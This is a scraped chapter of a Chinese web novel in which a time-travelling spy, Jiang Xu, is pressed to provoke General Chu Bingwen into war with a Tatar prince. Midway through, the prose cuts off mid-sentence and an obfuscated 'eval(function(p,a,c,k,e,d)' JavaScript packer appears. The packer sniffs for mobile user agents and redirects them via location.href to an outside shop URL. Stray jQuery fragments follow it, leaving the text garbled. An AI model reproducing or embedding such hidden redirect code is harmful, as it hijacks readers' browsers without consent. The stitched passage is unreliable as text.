36. 跟随

作品:《恶毒反派拒绝洗白

    战争又起,这次依旧是在北庭镇。


    鞑子军深入北庭,像是狗皮膏药一样甩都甩不掉,上一次的动乱因为都护府出兵及时,所以还不至于落到鞑子手中。但这群鞑子似是盯上了这片地方,竟是又一次潜入了北庭镇。


    只是这一次不大一样,鞑子军是以商人的身份进的北庭镇,说是沟通贸易,但他们究竟什么心思,众人心底都清楚。


    眼下江叙与褚秉文这种尴尬的关系,她想置身事外是绝对不可能的。乾宁皇帝章符柏的人什么手段,他们会不知道如今她与褚秉文什么关系?


    只是那些人并没有觉得她会因此而叛变,或者说全然没考虑过这个事情,这个就让江叙更加笃定,她必然是有什么把柄在章符柏的手中,只是这个把柄,她自己现在还不知道。


    燕都的细作是在一个深夜联系上江叙的。那人裹着一身黑斗篷,站在都护府后巷的阴影里,依旧没露脸,他声音压得极低:“上次的事,上头说了,一笔勾销。”


    江叙靠在墙上,没说话,寻思着皇帝能有这般好心?自古无情帝王心,无缘无故放了她一马,好比太阳从西边出来。


    君主能做得住,光靠仁治是不行的,这章符柏恐怕没有历史上记载的那般清明。


    果真,那细作递过来一支小小的信号弹,“这次你得跟着去,据说这次鞑子的小世子会出面调和。”


    江叙垂眸看着那细作递过来的东西,拇指大小,用蜡封着,那细作接着说道:“随时盯着褚秉文,窜动他与那世子动手。”


    那细作指了指这个信号弹,说道:“这个关键时刻用来报位置。”


    “另外,褚秉文对你有心思的事上面已经知道了,这一单做完,就把东西给你,还会给你的钱足够你离开这儿,去哪儿都行。”


    这话到是让江叙没想到,那人一开口就是这话,按理说,她作为皇帝安排下来的细作,如果褚秉文对她动了心思,那不是方便她打探更多的事情吗?


    怎么事情做到这一步了,转而放她离开呢?


    果真,大人物的脑回路都是她这种小角色懂不了的,说到底,她就是个误入的外来者,无意中改变了这个世界微小的走向,但那些东西都无伤大雅,以她的言行,撼动不了历史。


    她眼下想做的,只有让自己过得舒坦点。


    江叙接过信号弹,握在掌心里,没看。


    细作走了,巷子里只剩下夜风,和远处隐约传来的更鼓声。


    江叙站了一会儿,低头看着自己的手,突然发现这支信号弹很小,藏在袖子里根本看不出来。


    她在想细作说的最后一句话,那人说了那么长一段,就这最后一句最合她的心意。


    如果真的能有一笔钱让她离开,那也好。总比在这里活得真实,像是活在旁人的影子里。


    乱世也好,战争也罢。自己在外面找个营生,总能有活路,这些日子她也熟悉了这里的环境,和刚来的时候不一样。


    她不需要靠任何人,何况是一个总是透过她看向另一个人的褚秉文呢。


    北庭镇的战报传到都护府时,褚秉文正在看地图。


    鞑子军潜入,北庭镇告急。朝廷的旨意已经下来了,命漠北都护率军镇压,山海关内的藩王肃王章岐宁领兵支援,两军合力,务必一举剿灭。


    这章岐宁是先皇的弟弟,当今圣上的叔叔,成年后就被封到了山海关以南的雍州,嫌少回燕都,褚秉文在燕都那么多年,仅仅见过一面。


    褚秉文接到旨意的第二天,江叙找上了他。


    “我要跟着去。”她说。


    褚秉文正在整理军中的文书,闻言抬头看了她一眼,手上动作没停:“怎么?”


    江叙是早就准备好了措辞,反正就这最后一件事了,到时候拿了钱,她去一个远一点的地方,天涯海角,他怎么会那么容易找到她呢?


    想到此处,便是脸面什么的也不要了,什么话都敢往外说了,她直言:“我担心大人。”


    褚秉文的手顿了一下,他低下头,将面前的文书放到一侧,依旧垂着首,但嘴角已然浮出了淡淡地笑意。


    他自以为藏得及好,却没想到已经被江叙看到了。


    “好。”他说着,语气淡淡的,心中却是生出一股淡淡的欢喜。


    他站起来,走到她面前,伸出手,轻轻揽了一下她的肩膀。


    “路上小心。”他说。


    江叙点点头,心思却没在这。


    脑海中想起那细作留给她的任务,让她窜动褚秉文对那个鞑靼的世子起冲突,但听那细作的意思,这次那个世子来,似乎有议和的意思。


    这倒是奇了怪了,两方斗得不可开交,又是鞑靼人先入的大昱境内,怎么好烂事都让鞑子做了。


    北庭镇外的荒野上,褚秉文的军队和肃王的军队会师了。


    章岐宁是先帝的弟弟,年岁已然不小,五十出头的年纪,风霜在他的眼角留下了痕迹,但能看出来年轻时应也是个英俊的主儿。


    他身量高大,眉目间有一股不怒自威的气势,笑起来却像个和气的商人,简直看不出个藩王的模样。


    “漠北褚家的少将军,”章岐宁笑着拱了拱手,对这褚秉文有几分印象,“久仰。”


    “肃王殿下客气。”褚秉文回礼,“燕都一别,竟是时隔那么多年才又见面。”


    章岐宁打趣着说道:“没办法,皇兄爱惜老祖宗的江山,我们兄弟也是要帮着皇兄照看的。”


    两人寒暄了几句,开始谈正事。江叙站在不远处,听着他们的话,才理清楚了眼下的情况。


    原来是鞑靼的军队以商人的身份潜入入了北庭镇,商人主理贸易,受两方保护,军队仗着商人的通行牌,都护府的军队也不敢动他们,这才起了争执。


    若是一两个商人入北庭也就没什么大事,毕竟人少也起不了风浪,可那是整整一队士兵,并非可以妥协的。


    北庭镇地理位置特殊,一朝覆灭


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443231|196809||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,后面的代价便是城破。所以褚秉文这次才会亲自统兵与鞑靼的世子会面。


    第二天一早,江叙出去洗漱。


    军营扎在一条小河边上,清晨的河面上浮着一层薄雾,空气冷得扎脸。她蹲在河边,捧了水往脸上泼,冷得直吸气。


    “姑娘,这么冷的天,怎么不用热水?”


    江叙抬头,看见一个农妇打扮的女子站在她身后,手里提着一个木桶,像是来打水的,江叙看她约莫十六七岁年纪,眉眼温顺,总是笑眯眯的,对她也生出了几分好感,侧身给她腾了个地。


    女孩身形清瘦却结实,身上穿着半旧的粗布衣裙,洗得发白,却干干净净,头上简单挽了个发髻,别着一根木簪。


    她蹲在江叙身边,一边打水,一边和她聊天。


    “军营里哪有那么多热水。”江叙笑了笑,继续洗脸,转而又想到如今北庭镇的形式,她一个女孩恐怕是不大安全,便顺嘴提醒了一句:“你打完水也早些回去,北庭镇现在不太平,你一个人要多加小心。”


    那女子却似是没将她这话放在心上,也蹲下来,一边打水一边闲聊:“姑娘是跟着哪位将军来的?看你这打扮,不像是当兵的。”


    “我……”江叙犹豫了一下,“我是军医。”


    “哦,军医啊。”那女子点点头,“救死扶伤,不错啊。”


    江叙没接话,她低头看着河面上自己的倒影,雾气蒙蒙的,看不真切。


    那女子忽然压低了声音:“上头让我问你,军中什么动向?”


    江叙的手顿了一下。她侧头看了那女子一眼,对方的脸上还是笑眯眯的,她甚至都怀疑方才的话是不是从她嘴里说出来的。


    江叙思索片刻,最终说,“他们还没动手,鞑靼的世子没到,不知道会谈成什么样。”


    “有消息说,鞑靼世子是来议和的,但你不能让他们谈妥,得让褚秉文和鞑靼开战。”女子站起来,提起水桶,声音放得及低,永只有两人能听见的音量说着。


    江叙蹙眉,有些想不明白:“为什么是我?褚秉文统军那么多年,会因为我一句话就改变主意?”


    “主子说你能,你就能。”


    江叙心中冷笑,这章符柏哪来的自信,做了大昱的皇帝,却把自己当做了天庭的玉皇大帝,还真以为自己抬手间便能指点江山了?


    不知道为什么,与章符柏分明只有一面,但她对他的厌恶程度不是一点点,但最奇怪的是,她没穿越过来的时候还当他是个明君来着。


    那姑娘正要走,却被江叙叫住,“姑娘,”


    那人顿住了脚步,等着她的后话。


    “你和上面的说,我不太喜欢做这种事。”


    那姑娘的动作一顿,脸上的笑容渐渐凝固住,是没想到江叙会突然说这种话,不可思议地低声问了一句:“什么?”


    “我说,我不太喜欢做这种事。”江叙顿了顿,而后缓缓说道:“所以你们给的那点钱不够。”